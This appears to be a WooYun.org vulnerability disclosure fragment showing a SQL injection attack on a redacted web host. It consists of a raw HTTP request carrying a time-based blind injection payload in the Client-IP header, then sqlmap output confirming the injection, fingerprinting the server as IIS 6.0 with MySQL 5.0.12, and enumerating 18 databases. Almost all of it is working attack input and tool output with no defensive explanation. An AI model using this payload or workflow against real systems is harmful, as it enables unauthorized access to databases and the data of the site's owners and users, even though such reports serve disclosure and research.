WooYun.org

GET /action/users/registeruser.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Client-IP: (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**/
Cookie: _D_SID=E9F4E3C8; PHPSESSID=s989091bii3j684r83gd4cq355
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

(custom) HEADER parameter 'Client-IP #1*' is vulnerable. Do you want to keep tes
ting the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 908 HTTP(s) r
equests:
---
Parameter: Client-IP #1* ((custom) HEADER)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: **.**.**.**' AND (SELECT * FROM (SELECT(SLEEP(5)))xHVN) AND 'tERV'='tER
V
---
[10:08:32] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0.12
available databases [18]:
[*] `xlrz-php-test`
[*] `xlrz-php`
[*] fsc2013
[*] information_schema
[*] jybf2013
[*] map
[*] mysql
[*] naati
[*] performance_schema
[*] sjwlzph2015
[*] temp
[*] test
[*] wenjuan1
[*] xlrz
[*] xmx_2015
[*] xmx_sys
[*] xmx_sys_v1
[*] zkeco_db